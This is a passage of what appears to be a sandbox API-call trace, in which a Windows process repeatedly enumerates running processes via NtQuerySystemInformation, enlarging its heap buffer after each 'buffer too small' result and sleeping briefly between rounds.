ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.989] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0153.989] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.989] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0153.989] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.989] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0153.989] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.989] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0153.989] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0153.990] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0154.227] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0154.227] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0154.227] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0154.227] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0154.228] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x7a1cf0 [0154.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0154.228] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x50b4) returned 0x7a1cf0 [0154.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0154.228] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x60d8) returned 0x7a1cf0 [0154.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0154.228] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x70fc) returned 0x7a1cf0 [0154.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0154.228] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x8120) returned 0x7a1cf0 [0154.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0154.228] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x9144) returned 0x7a1cf0 [0154.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0154.229] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0xa168) returned 0x2560048 [0154.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0154.229] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0154.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0154.229] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0154.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0154.229] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0154.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0154.230] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0154.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0154.230] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0154.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0154.230] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0154.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0154.230] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0194.855] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0194.855] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0194.858] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0194.858] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0194.858] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0194.858] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0194.858] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x7a1600 [0194.858] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1600, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x7a1600, ResultLength=0x0) returned 0xc0000004 [0194.858] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1600, Size=0x50b4) returned 0x2564368 [0194.858] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0194.858] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x60d8) returned 0x2564368 [0194.858] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0194.859] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x70fc) returned 0x2564368 [0194.859] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0194.859] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x8120) returned 0x2564368 [0194.859] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0194.859] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x9144) returned 0x2564368 [0194.859] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0194.859] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xa168) returned 0x2564368 [0194.859] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0194.859] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xb18c) returned 0x2564368 [0194.859] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0194.860] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xc1b0) returned 0x2564368 [0194.860] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0194.860] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xd1d4) returned 0x2564368 [0194.860] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0194.860] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xe1f8) returned 0x2564368 [0194.860] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0194.860] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xf21c) returned 0x2564368 [0194.860] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0194.861] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x10240) returned 0x2564368 [0194.861] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0194.861] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x11264) returned 0x2564368 [0194.861] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0x0 [0194.861] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8998 [0194.862] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8998) returned 1 [0194.862] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xe) returned 0x6ea590 [0194.862] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea590) returned 1 [0194.862] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6ad0 [0194.862] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0194.862] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e6ad0 [0194.862] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0194.862] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6ad0 [0194.862] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0194.862] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e6ad0 [0194.862] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0194.862] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3db8 [0194.862] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3db8) returned 1 [0194.862] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3db8 [0194.863] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3db8) returned 1 [0194.863] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e6ad0 [0194.863] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0194.863] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea590 [0194.863] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea590) returned 1 [0194.863] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6ad0 [0194.863] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0194.863] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6ad0 [0194.863] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0194.863] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6ad0 [0194.863] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0194.863] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6ad0 [0194.863] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0194.863] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6ad0 [0194.863] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0194.863] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6ad0 [0194.863] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0194.863] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6ad0 [0194.863] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0194.863] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3db8 [0194.863] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3db8) returned 1 [0194.863] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea590 [0194.863] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea590) returned 1 [0194.864] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6ad0 [0194.864] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0194.864] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6ad0 [0194.864] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0194.864] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3db8 [0194.864] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3db8) returned 1 [0194.864] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3db8 [0194.864] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3db8) returned 1 [0194.864] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6ad0 [0194.864] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0194.864] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3db8 [0194.864] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3db8) returned 1 [0194.864] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3db8 [0194.864] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3db8) returned 1 [0194.864] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3db8 [0194.864] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3db8) returned 1 [0194.864] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x2564368) returned 1 [0194.864] Sleep (dwMilliseconds=0x64) [0195.238] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0195.238] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0195.239] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0195.239] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0195.239] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0195.239] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0195.239] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x7a1600 [0195.239] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1600, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x7a1600, ResultLength=0x0) returned 0xc0000004 [0195.239] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1600, Size=0x50b4) returned 0x2564368 [0195.239] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.239] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x60d8) returned 0x2564368 [0195.239] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.239] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x70fc) returned 0x2564368 [0195.239] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.240] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x8120) returned 0x2564368 [0195.240] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.240] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x9144) returned 0x2564368 [0195.240] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.240] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xa168) returned 0x2564368 [0195.240] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.240] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xb18c) returned 0x2564368 [0195.240] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.240] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xc1b0) returned 0x2564368 [0195.240] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.241] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xd1d4) returned 0x2564368 [0195.241] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.241] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xe1f8) returned 0x2564368 [0195.241] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.241] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xf21c) returned 0x2564368 [0195.241] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.241] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x10240) returned 0x2564368 [0195.241] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.242] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x11264) returned 0x2564368 [0195.242] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.242] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x12288) returned 0x2564368 [0195.242] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0x0 [0195.242] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8998 [0195.242] Sleep (dwMilliseconds=0x64) [0195.722] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0195.722] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0195.722] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0195.722] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0195.723] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0195.723] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0195.723] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x7a1600 [0195.723] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1600, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x7a1600, ResultLength=0x0) returned 0xc0000004 [0195.723] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1600, Size=0x50b4) returned 0x2564368 [0195.723] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.723] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x60d8) returned 0x2564368 [0195.723] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.723] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x70fc) returned 0x2564368 [0195.723] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.723] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x8120) returned 0x2564368 [0195.723] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.724] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x9144) returned 0x2564368 [0195.724] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.724] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xa168) returned 0x2564368 [0195.724] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.724] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xb18c) returned 0x2564368 [0195.724] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.724] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xc1b0) returned 0x2564368 [0195.724] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.725] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xd1d4) returned 0x2564368 [0195.725] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.725] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xe1f8) returned 0x2564368 [0195.725] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.725] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xf21c) returned 0x2564368 [0195.725] 